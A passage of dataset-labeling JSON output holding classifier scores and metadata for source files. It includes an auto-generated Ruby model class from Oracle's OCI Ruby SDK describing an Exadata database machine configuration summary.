"Creative Writing": 0.00021035369690118494, "Customer Support Page": 0.0001042415301622798, "Q&A Forum": 6.225121905346457e-05, "Discussion Thread": 5.7156699528619796e-05, "Comment Section": 0.00024627398351950784, "Missing Content": 0.00025389741318792826, "Knowledge Article": 0.0006029571592156399, "Legal Notices": 0.049531163193430996, "News Article": 0.00010483501567712433, "Organizational Announcement": 0.00011818608870280417, "Nonfiction Writing": 0.00011988175899162449, "Organizational About Page": 0.00015876982436526223, "Personal About Page": 7.926115137551038e-05, "Personal Blog": 9.914633934926214e-05, "Product Page": 6.967226275777059e-05, "Spam / Ads": 0.00011552761019295626, "Structured Data": 0.0005602059628369761, "Technical Writing": 0.004581558612593649, "Transcript / Interview": 0.00010521030510749682, "Tutorial / How-To Guide": 0.0004445823415391807, "User Reviews": 4.557739959434781e-05, "NONE": 0.9419621334075512}, "structured_records": {"false": 0.9967957153796737, "true": 0.0032042846203263263}, "procedural_steps": {"false": 0.9973546912774256, "true": 0.0026453087225744077}, "worked_solution": {"false": 0.9993696553259565, "true": 0.000630344674043559}, "contextual_dialogue": {"false": 0.9999912850771062, "true": 8.714922893809871e-06}, "content_quality": {"-2": 0.006962492655771148, "-1": 0.03641642521671477, "0": 0.3389439819896883, "1": 0.4718551715733977, "2": 0.1458219285644281}, "noise_severity": {"0": 0.3935206469264343, "1": 0.5674603648305279, "2": 0.03356944245585689, "3": 0.0027365637221364062, "4": 0.0027129820650445904}, "missing_content_severity": {"0": 0.9820887831359556, "1": 0.015251239403400082, "2": 0.0017255518410976866, "3": 0.0006581077806711461, "4": 0.0002763178388755709}, "factual_density": {"0": 0.007293098880518678, "1": 0.017917417082211957, "2": 0.10840183072061581, "3": 0.31239964403614684, "4": 0.5539880092805067}, "pretraining_utility": {"-2": 0.008785232915867391, "-1": 0.1419010517911408, "0": 0.4578359778664861, "1": 0.3351066132001924, "2": 0.05637112422631324}, "math_density": {"0": 0.9189353550830432, "1": 0.07130552315840011, "2": 0.0039005540581570266, "3": 0.001477822177908474, "4": 0.0043807455224910245}, "code_density": {"0": 0.00032176148395270717, "1": 0.0006173123502493529, "2": 0.016377566679854145, "3": 0.17857791160684497, "4": 0.8041054478790989}, "reasoning_density": {"0": 0.69038492224626, "1": 0.14896799181722245, "2": 0.11593819125694033, "3": 0.029482262099815807, "4": 0.01522663257976137}, "education_level": {"none": 0.0012988154855365834, "0": 0.0018063101830701831, "1": 0.014268419079156991, "2": 0.6470734437514258, "3": 0.2973075151117087, "4": 0.03824549638910174}, "creative_writing_quality": {"not_applicable": 0.999331759711661, "-2": 7.293730543586506e-05, "-1": 0.00015533736977324625, "0": 0.00031683442840738877, "1": 9.064797762114733e-05, "2": 3.24832071013899e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.0878121774902165e-05, "Art & Design": 3.266560831165485e-05, "Law & Crime": 0.005980565315938022, "Education & Careers": 3.3946683170679204e-05, "Entertainment & Media": 2.265836469289186e-05, "Fashion & Beauty": 1.694132953314934e-05, "Business, Economics & Finance": 0.00015316948804361112, "Food & Dining": 1.7854463945020194e-05, "Games & Gaming": 3.934036675359822e-05, "Electronics & Hardware": 9.614897449768585e-05, "Health, Healthcare & Wellness": 2.0803522131668587e-05, "History & Geography": 2.5268615896400228e-05, "Home, Pets & Hobbies": 2.3716397663677992e-05, "Industry & Production": 3.222796320356547e-05, "Language, Literature & Philosophy": 8.89141490112848e-05, "Politics & Government": 4.9029871739854985e-05, "Religion & Spirituality": 2.5756454889552904e-05, "Science, Mathematics & Engineering": 0.0001999485036015645, "Relationships & Community": 1.5845778506500254e-05, "Software Usage & Applications": 0.000681193264136689, "Programming & Software Engineering": 0.9916443039566506, "Sports & Fitness": 3.0964405992178777e-05, "Vehicles & Transportation": 1.2640948676006388e-05, "Travel & Tourism": 3.671250295578616e-05, "Other / Uncovered Subject": 0.0005312874834668143, "Unknown / Insufficient Content": 0.00015721746481668587}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00068654622497359, "Art & Design": 0.0005423636461299767, "Law & Crime": 0.12525558662970168, "Education & Careers": 0.0005146426117270586, "Entertainment & Media": 0.0004771689625529329, "Fashion & Beauty": 0.0003472425042832068, "Business, Economics & Finance": 0.0019463201875167479, "Food & Dining": 0.00026279357028393573, "Games & Gaming": 0.0003766892029328165, "Electronics & Hardware": 0.0008774237549677138, "Health, Healthcare & Wellness": 0.0003452467531483159, "History & Geography": 0.0003795789914076772, "Home, Pets & Hobbies": 0.0003156575335059138, "Industry & Production": 0.00029740737068490396, "Language, Literature & Philosophy": 0.00042946230865858337, "Politics & Government": 0.000981802450523789, "Religion & Spirituality": 0.0005792789306810061, "Science, Mathematics & Engineering": 0.000888585627190233, "Relationships & Community": 0.00018117207691245007, "Software Usage & Applications": 0.008004687640686878, "Programming & Software Engineering": 0.02259647186142353, "Sports & Fitness": 0.00024381030112744057, "Vehicles & Transportation": 0.0001444393917453688, "Travel & Tourism": 0.0004311252910780771, "Other / Uncovered Subject": 0.0018259634154266765, "NONE": 0.8310685327607295}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10176, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10176, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:32:08.180975+00:00", "scoring_key_slot": "primary", "dataset_uid": "e811b075-6501-4770-94a3-25ffad5c3e7a", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "00eaaba68cf0e087bedd431379b6daf95373908648dc20b7adb273c985bf9c71", "source_metadata": {"uuid": "e811b075-6501-4770-94a3-25ffad5c3e7a", "repo_name": "marklogic-community/roxy", "relative_path": "deploy/lib/util.rb", "category": "TOOL", "algo_rel_score": 0.8601661920547485, "quality_score": 3.8793118000030518, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 1027, "repo_created_at": "2012-03-01T02:19:52.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 87, "forks": 63, "issues": 140, "pull_requests": 3}, "file_meta": {"content_id": "e7187a4b492c19351e8789b6afbdad95f2eb6638", "size_bytes": 5871, "file_timestamp": 1527232918, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "457fe50add5f24107bb890af88ac724bdf443bd2"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 1027, "repo_created_at": "2012-03-01T02:19:52.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 87, "forks": 63, "issues": 140, "pull_requests": 3}, "file_meta": {"content_id": "e7187a4b492c19351e8789b6afbdad95f2eb6638", "size_bytes": 5871, "file_timestamp": 1527232918, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "457fe50add5f24107bb890af88ac724bdf443bd2", "url": "https://github.com/marklogic-community/roxy/blob/457fe50add5f24107bb890af88ac724bdf443bd2/deploy/lib/util.rb"}, "gpt4o_tokens": 1585, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.7131576181739968, "noise_severity": 0.6536608691688293, "missing_content_severity": 0.021781937783111178, "factual_density": 3.387872047753911, "pretraining_utility": 0.2883773440299433, "math_density": 0.1010630798984037, "code_density": 3.785527972046888, "reasoning_density": 0.530197690949596, "education_level": 2.3563803407499218, "creative_writing_quality": -0.2178820872697503}, "score_applicability": {"education_level": 0.9987011845144634, "creative_writing_quality": 0.0006682402883390373}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/oracle/oci-ruby-sdk/blob/ed2777d8e740aca91b71336b9dfe9176ae0dd85f/lib/oci/opsi/models/exadata_database_machine_configuration_summary.rb", "id": "ruby-0-9e2c1741f3f9226883b3a25ffed6da20", "text": "# Copyright (c) 2016, 2025, Oracle and/or its affiliates. All rights reserved.\n# This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license.\n\n# NOTE: This class is auto generated by OracleSDKGenerator. DO NOT EDIT. API Version: 20200630\nrequire 'date'\nrequire_relative 'exadata_configuration_summary'\n\n# rubocop:disable Lint/UnneededCopDisableDirective, Metrics/LineLength\nmodule OCI\n # Configuration summary of a database machine.\n class Opsi::Models::ExadataDatabaseMachineConfigurationSummary < Opsi::Models::ExadataConfigurationSummary\n # **[Required]** Enterprise Manager Unique Identifier\n # @return [String]\n attr_accessor :enterprise_manager_identifier\n\n # **[Required]** OPSI Enterprise Manager Bridge OCID\n # @return [String]\n attr_accessor :enterprise_manager_bridge_id\n\n # **[Required]** Enterprise Manager Entity Unique Identifier\n # @return [String]\n attr_accessor :enterprise_manager_entity_identifier\n\n # **[Required]** Enterprise Manager Console Url\n # @return [String]\n attr_accessor :enterprise_manager_console_url\n\n # **[Required]** Enterprise Manager OMS Version\n # @return [String]\n attr_accessor :enterprise_manager_oms_ver\n\n # **[Required]** Enterprise Manager Entity Type\n # @return [String]\n attr_accessor :enterprise_manager_entity_type\n\n # Attribute mapping from ruby-style variable name to JSON key.\n def self.attribute_map\n {\n # rubocop:disable Style/SymbolLiteral\n 'exadata_insight_id': :'exadataInsightId',\n 'entity_source': :'entitySource',\n 'compartment_id': :'compartmentId',\n 'exadata_name': :'exadataName',\n 'exadata_display_name': :'exadataDisplayName',\n 'exadata_type': :'exadataType',\n 'exadata_rack_type': :'exadataRackType',\n 'defined_tags': :'definedTags',\n 'freeform_tags': :'freeformTags',\n 'vmcluster_details': :'vmclusterDetails',\n 'enterprise_manager_identifier': :'enterpriseManagerIdentifier',\n 'enterprise_manager_bridge_id': :'enterpriseManagerBridgeId',\n 'enterprise_manager_entity_identifier': :'enterpriseManagerEntityIdentifier',\n 'enterprise_manager_console_url': :'enterpriseManagerConsoleUrl',\n 'enterprise_manager_oms_ver': :'enterpriseManagerOmsVer',\n 'enterprise_manager_entity_type': :'enterpriseManagerEntityType'\n # rubocop:enable Style/SymbolLiteral\n }\n end\n\n # Attribute type mapping.\n def self.swagger_types\n {\n # rubocop:disable Style/SymbolLiteral\n 'exadata_insight_id': :'String',\n 'entity_source': :'String',\n 'compartment_id': :'String',\n 'exadata_name': :'String',\n 'exadata_display_name': :'String',\n 'exadata_type': :'String',\n 'exadata_rack_type': :'String',\n 'defined_tags': :'Hash>',\n 'freeform_tags': :'Hash',\n 'vmcluster_details': :'Array',\n 'enterprise_manager_identifier': :'String',\n 'enterprise_manager_bridge_id': :'String',\n 'enterprise_manager_entity_identifier': :'String',\n 'enterprise_manager_console_url': :'String',\n 'enterprise_manager_oms_ver': :'String',\n 'enterprise_manager_entity_type': :'String'\n # rubocop:enable Style/SymbolLiteral\n }\n end\n\n # rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity\n # rubocop:disable Metrics/MethodLength, Layout/EmptyLines, Style/SymbolLiteral\n\n\n # Initializes the object\n # @param [Hash] attributes Model attributes in the form of hash\n # @option attributes [String] :exadata_insight_id The value to assign to the {OCI::Opsi::Models::ExadataConfigurationSummary#exadata_insight_id #exadata_insight_id} proprety\n # @option attributes [String] :compartment_id The value to assign to the {OCI::Opsi::Models::ExadataConfigurationSummary#compartment_id #compartment_id} proprety\n # @option attributes [String] :exadata_name The value to assign to the {OCI::Opsi::Models::ExadataConfigurationSummary#exadata_name #exadata_name} proprety\n # @option attributes [String] :exadata_display_name The value to assign to the {OCI::Opsi::Models::ExadataConfigurationSummary#exadata_display_name #exadata_display_name} proprety\n # @option attributes [String] :exadata_type The value to assign to the {OCI::Opsi::Models::ExadataConfigurationSummary#exadata_type #exadata_type} proprety\n # @option attributes [String] :exadata_rack_type The value to assign to the {OCI::Opsi::Models::ExadataConfigurationSummary#exadata_rack_type #exadata_rack_type} proprety\n # @option attributes [Hash>] :defined_tags The value to assign to the {OCI::Opsi::Models::ExadataConfigurationSummary#defined_tags #defined_tags} proprety\n # @option attributes [Hash] :freeform_tags The value to assign to the {OCI::Opsi::Models::ExadataConfigurationSummary#freeform_tags #freeform_tags} proprety\n # @option attributes [Array] :vmcluster_details The value to assign to the {OCI::Opsi::Models::ExadataConfigurationSummary#vmcluster_details #vmcluster_details} proprety\n # @option attributes [String] :enterprise_manager_identifier The value to assign to the {#enterprise_manager_identifier} property\n # @option attributes [String] :enterprise_manager_bridge_id The value to assign to the {#enterprise_manager_bridge_id} property\n # @option attributes [String] :enterprise_manager_entity_identifier The value to assign to the {#enterprise_manager_entity_identifier} property\n # @option attributes [String] :enterprise_manager_console_url The value to assign to the {#enterprise_manager_console_url} property\n # @option attributes [String] :enterprise_manager_oms_ver The value to assign to the {#enterprise_manager_oms_ver} property\n # @option attributes [String] :enterprise_manager_entity_type The value to assign to the {#enterprise_manager_entity_type} property\n def initialize(attributes = {})\n return unless attributes.is_a?(Hash)\n\n attributes['entitySource'] = 'EM_MANAGED_EXTERNAL_EXADATA'\n\n super(attributes)\n\n # convert string to symbol for hash key\n attributes = attributes.each_with_object({}) { |(k, v), h| h[k.to_sym] = v }\n\n self.enterprise_manager_identifier = attributes[:'enterpriseManagerIdentifier'] if attributes[:'enterpriseManagerIdentifier']\n\n raise 'You cannot provide both :enterpriseManagerIdentifier and :enterprise_manager_identifier' if attributes.key?(:'enterpriseManagerIdentifier') && attributes.key?(:'enterprise_manager_identifier')\n\n self.enterprise_manager_identifier = attributes[:'enterprise_manager_identifier'] if attributes[:'enterprise_manager_identifier']\n\n self.enterprise_manager_bridge_id = attributes[:'enterpriseManagerBridgeId'] if attributes[:'enterpriseManagerBridgeId']\n\n raise 'You cannot provide both :enterpriseManagerBridgeId and :enterprise_manager_bridge_id' if attributes.key?(:'enterpriseManagerBridgeId') && attributes.key?(:'enterprise_manager_bridge_id')\n\n self.enterprise_manager_bridge_id = attributes[:'enterprise_manager_bridge_id'] if attributes[:'enterprise_manager_bridge_id']\n\n self.enterprise_manager_entity_identifier = attributes[:'enterpriseManagerEntityIdentifier'] if attributes[:'enterpriseManagerEntityIdentifier']\n\n raise 'You cannot provide both :enterpriseManagerEntityIdentifier and :enterprise_manager_entity_identifier' if attributes.key?(:'enterpriseManagerEntityIdentifier') && attributes.key?(:'enterprise_manager_entity_identifier')\n\n self.enterprise_manager_entity_identifier = attributes[:'enterprise_manager_entity_identifier'] if attributes[:'enterprise_manager_entity_identifier']\n\n self.enterprise_manager_console_url = attributes[:'enterpriseManagerConsoleUrl'] if attributes[:'enterpriseManagerConsoleUrl']\n\n raise 'You cannot provide both :enterpriseManagerConsoleUrl and :enterprise_manager_console_url' if attributes.key?(:'enterpriseManagerConsoleUrl') && attributes.key?(:'enterprise_manager_console_url')\n\n self.enterprise_manager_console_url = attributes[:'enterprise_manager_console_url'] if attributes[:'enterprise_manager_console_url']\n\n self.enterprise_manager_oms_ver = attributes[:'enterpriseManagerOmsVer'] if attributes[:'enterpriseManagerOmsVer']\n\n raise 'You cannot provide both :enterpriseManagerOmsVer and :enterprise_manager_oms_ver' if attributes.key?(:'enterpriseManagerOmsVer') && attributes.key?(:'enterprise_manager_oms_ver')\n\n self.enterprise_manager_oms_ver = attributes[:'enterprise_manager_oms_ver'] if attributes[:'enterprise_manager_oms_ver']\n\n self.enterprise_manager_entity_type = attributes[:'enterpriseManagerEntityType'] if attributes[:'enterpriseManagerEntityType']\n\n raise 'You cannot provide both :enterpriseManagerEntityType and :enterprise_manager_entity_type' if attributes.key?(:'enterpriseManagerEntityType') && attributes.key?(:'enterprise_manager_entity_type')\n\n self.enterprise_manager_entity_type = attributes[:'enterprise_manager_entity_type'] if attributes[:'enterprise_manager_entity_type']\n end\n # rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity\n # rubocop:enable Metrics/MethodLength, Layout/EmptyLines, Style/SymbolLiteral\n\n # rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity, Layout/EmptyLines\n\n\n # Checks equality by comparing each attribute.\n # @param [Object] other the other object to be compared\n def ==(other)\n return true if equal?(other)\n\n self.class == other.class &&\n exadata_insight_id == other.exadata_insight_id &&\n entity_source == other.entity_source &&\n compartment_id == other.compartment_id &&\n exadata_name == other.exadata_name &&\n exadata_display_name == other.exadata_display_name &&\n exadata_type == other.exadata_type &&\n exadata_rack_type == other.exadata_rack_type &&\n defined_tags == other.defined_tags &&\n freeform_tags == other.freeform_tags &&\n vmcluster_details == other.vmcluster_details &&\n enterprise_manager_identifier == other.enterprise_manager_identifier &&\n enterprise_manager_bridge_id == other.enterprise_manager_bridge_id &&\n enterprise_manager_entity_identifier == other.enterprise_manager_entity_identifier &&\n enterprise_manager_console_url == other.enterprise_manager_console_url &&\n enterprise_manager_oms_ver == other.enterprise_manager_oms_ver &&\n enterprise_manager_entity_type == other.enterprise_manager_entity_type\n end\n # rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity, Layout/EmptyLines\n\n # @see the `==` method\n # @param [Object] other the other object to be compared\n def eql?(other)\n self == other\n end\n\n # rubocop:disable Metrics/AbcSize, Layout/EmptyLines\n\n\n # Calculates hash code according to all attributes.\n # @return [Fixnum] Hash code\n def hash\n [exadata_insight_id, entity_source, compartment_id, exadata_name, exadata_display_name, exadata_type, exadata_rack_type, defined_tags, freeform_tags, vmcluster_details, enterprise_manager_identifier, enterprise_manager_bridge_id, enterprise_manager_entity_identifier, enterprise_manager_console_url, enterprise_manager_oms_ver, enterprise_manager_entity_type].hash\n end\n # rubocop:enable Metrics/AbcSize, Layout/EmptyLines\n\n # rubocop:disable Metrics/AbcSize, Layout/EmptyLines\n\n\n # Builds the object from hash\n # @param [Hash] attributes Model attributes in the form of hash\n # @return [Object] Returns the model itself\n def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n\n self.class.swagger_types.each_pair do |key, type|\n if type =~ /^Array<(.*)>/i\n # check to ensure the input is an array given that the the attribute\n # is documented as an array but the input is not\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n public_method(\"#{key}=\").call(\n attributes[self.class.attribute_map[key]]\n .map { |v| OCI::Internal::Util.convert_to_type(Regexp.last_match(1), v) }\n )\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n public_method(\"#{key}=\").call(\n OCI::Internal::Util.convert_to_type(type, attributes[self.class.attribute_map[key]])\n )\n end\n # or else data not found in attributes(hash), not an issue as the data can be optional\n end\n\n self\n end\n # rubocop:enable Metrics/AbcSize, Layout/EmptyLines\n\n # Returns the string representation of the object\n # @return [String] String presentation of the object\n def to_s\n to_hash.to_s\n end\n\n # Returns the object in the form of hash\n # @return [Hash] Returns the object in the form of hash\n def to_hash\n hash = {}\n self.class.attribute_map.each_pair do |attr, param|\n value = public_method(attr).call\n next if value.nil? && !instance_variable_defined?(\"@#{attr}\")\n\n hash[param] = _to_hash(value)\n end\n hash\n end\n\n private\n\n # Outputs non-array value in the form of hash\n # For object, use to_hash. Otherwise, just return the value\n # @param [Object] value Any valid value\n # @return [Hash] Returns the value in the form of hash\n def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end\n end\nend\n# rubocop:enable Lint/UnneededCopDisableDirective, Metrics/LineLength\n", "text_preview": "# Copyright (c) 2016, 2025, Oracle and/or its affiliates. All rights reserved. # This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as", "input_sha256": "b5393d741cb103dff7170e0d1aa3dd85efcfcb01e0a64f6ef4285b7294a78116", "text_sha256": "9e2c1741f3f9226883b3a25ffed6da20e4f1c9cf861826073beb27882256b7bc", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16047, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": {"main_format": "Legal Notices", "sub_format": null}, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 1, "missing_content_severity": 0, "factual_density": 3, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.952313323750359, "noise_severity": 0.6540744183408833, "missing_content_severity": 0.03552536918375991, "factual_density": 2.95847672572338, "pretraining_utility": -0.18801143893133865, "math_density": 0.015129875680929335, "code_density": 3.829555152262108, "reasoning_density": 0.1024003617538594, "education_level": 2.4906356220272645, "creative_writing_quality": -0.4379524214893751}, "api_choices": {"primary": "Technical Writing", "secondary": "Legal Notices", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.4764264050073406, "secondary_choice": "Legal Notices", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9935760634859486, "secondary": 0.6895262925686824, "tertiary": 0.6970888311496276, "structured_records": 0.324640906404102, "procedural_steps": 0.0012892938950720665, "worked_solution": 0.000658063063833291, "contextual_dialogue": 7.236896523672733e-06, "content_quality": 0.5168906585947338, "noise_severity": 0.5403507939221783, "missing_content_severity": 0.9703955256802, "factual_density": 0.5504566890241227, "pretraining_utility": 0.5441019010046697, "math_density": 0.9873917702658922, "code_density": 0.8579626268850897, "reasoning_density": 0.9146663652051171, "education_level": 0.4609736928645618, "creative_writing_quality": 0.9996279079845691, "primary_topic": 0.9813620596820423, "secondary_topic": 0.8327234801082501}, "probability_margin": {"primary": 0.9907619206732324, "secondary": 0.46917897220060145, "tertiary": 0.459729276379613, "education_level": 0.17357053334017247, "creative_writing_quality": 0.9995655447934483, "primary_topic": 0.9694914582179299, "secondary_topic": 0.7820068271918186}, "raw_probabilities": {"primary": {"Academic Writing": 2.522328291625635e-05, "Content Listing": 1.9127362958390545e-05, "Creative Writing": 9.035057571399338e-06, "Customer Support Page": 1.6151670091835544e-05, "Q&A Forum": 1.0060972910421646e-05, "Discussion Thread": 6.067881518994606e-06, "Comment Section": 1.2352910738605697e-05, "Missing Content": 2.186802088819796e-05, "Knowledge Article": 3.9930749425303314e-05, "Legal Notices": 0.0030818068341349003, "News Article": 4.597712854148686e-06, "Organizational Announcement": 1.682626955190621e-05, "Nonfiction Writing": 7.258270087331467e-06, "Organizational About Page": 1.4616365221690747e-05, "Personal About Page": 7.589982368521912e-06, "Personal Blog": 6.4895489580961935e-06, "Product Page": 1.1511203481376094e-05, "Spam / Ads": 7.834667912359433e-06, "Structured Data": 0.0021404539249737973, "Technical Writing": 0.9938437275073674, "Transcript / Interview": 1.3255544773108947e-05, "Tutorial / How-To Guide": 4.856233781947195e-05, "User Reviews": 5.387254057222584e-06, "Other / Unknown": 0.0006302646674193241}, "secondary": {"Academic Writing": 0.0005594213452132921, "Content Listing": 0.0005501325655199145, "Creative Writing": 0.00041551161536633653, "Customer Support Page": 0.0003979983589911951, "Q&A Forum": 0.00027701923046904363, "Discussion Thread": 0.0002454510664057785, "Comment Section": 0.0005439354491678001, "Missing Content": 0.0005278578545156111, "Knowledge Article": 0.0009529763858252085, "Legal Notices": 0.7024626970449872, "News Article": 0.0004454370068157771, "Organizational Announcement": 0.000559242915994904, "Nonfiction Writing": 0.00035170258420410145, "Organizational About Page": 0.0005137109051851507, "Personal About Page": 0.0002525362417138174, "Personal Blog": 0.00023414722700741483, "Product Page": 0.0003870893048800805, "Spam / Ads": 0.00031270755224238454, "Structured Data": 0.022131906849550076, "Technical Writing": 0.03356561862606439, "Transcript / Interview": 0.0004889341957665589, "Tutorial / How-To Guide": 0.00035418427478656086, "User Reviews": 0.00018605655494154523, "NONE": 0.23328372484438578}, "tertiary": {"Academic Writing": 0.0005103057933256699, "Content Listing": 0.00038884415298324934, "Creative Writing": 0.0004022240497451222, "Customer Support Page": 0.0003534793348663095, "Q&A Forum": 0.00019675495093201954, "Discussion Thread": 0.00016403463963115316, "Comment Section": 0.0004669570890510663, "Missing Content": 0.0004906369543719862, "Knowledge Article": 0.0013597925189316122, "Legal Notices": 0.24998085347211338, "News Article": 0.00035918863894845993, "Organizational Announcement": 0.00036482102966161565, "Nonfiction Writing": 0.00025844988296545244, "Organizational About Page": 0.0003963635106875031, "Personal About Page": 0.0002245314448797026, "Personal Blog": 0.00021943907934263667, "Product Page": 0.00027085250605657975, "Spam / Ads": 0.0003007812396653038, "Structured Data": 0.023407583452609206, "Technical Writing": 0.00933477448081958, "Transcript / Interview": 0.00035562779760658756, "Tutorial / How-To Guide": 0.0003469337925060904, "User Reviews": 0.00013664033657328272, "NONE": 0.7097101298517264}, "structured_records": {"false": 0.675359093595898, "true": 0.324640906404102}, "procedural_steps": {"false": 0.998710706104928, "true": 0.0012892938950720665}, "worked_solution": {"false": 0.9993419369361667, "true": 0.000658063063833291}, "contextual_dialogue": {"false": 0.9999927631034763, "true": 7.236896523672733e-06}, "content_quality": {"-2": 0.0082854976805966, "-1": 0.028178388916096572, "0": 0.23249567209399724, "1": 0.4650181745909705, "2": 0.2660222667183392}, "noise_severity": {"0": 0.44875231447625136, "1": 0.46091429987570215, "2": 0.08108224250820852, "3": 0.006008939110587556, "4": 0.0032422040292503663}, "missing_content_severity": {"0": 0.9785861752097235, "1": 0.010678203096963832, "2": 0.008007770351511501, "3": 0.002079779983431725, "4": 0.0006480713583694764}, "factual_density": {"0": 0.00704752730692117, "1": 0.031670019358322636, "2": 0.2060050030864275, "3": 0.5063131008011124, "4": 0.24896434944721638}, "pretraining_utility": {"-2": 0.020716895754616688, "-1": 0.32611078735363414, "0": 0.48899407965549574, "1": 0.14882333454097776, "2": 0.015354902695275568}, "math_density": {"0": 0.9902957703371023, "1": 0.0073406707102783705, "2": 0.0006280254444163382, "3": 0.0004089799509942724, "4": 0.0013265535572088674}, "code_density": {"0": 0.00025461547342455463, "1": 0.0005181282258840762, "2": 0.014150593922022508, "3": 0.1395708133224969, "4": 0.8455058490561719}, "reasoning_density": {"0": 0.9260381915984937, "1": 0.049294423563408775, "2": 0.02169241146648401, "3": 0.0021787782289719587, "4": 0.0007961951426416841}, "education_level": {"none": 0.001481137717780184, "0": 0.0016531394650011531, "1": 0.007217514927136542, "2": 0.5508114107204681, "3": 0.37724087738029566, "4": 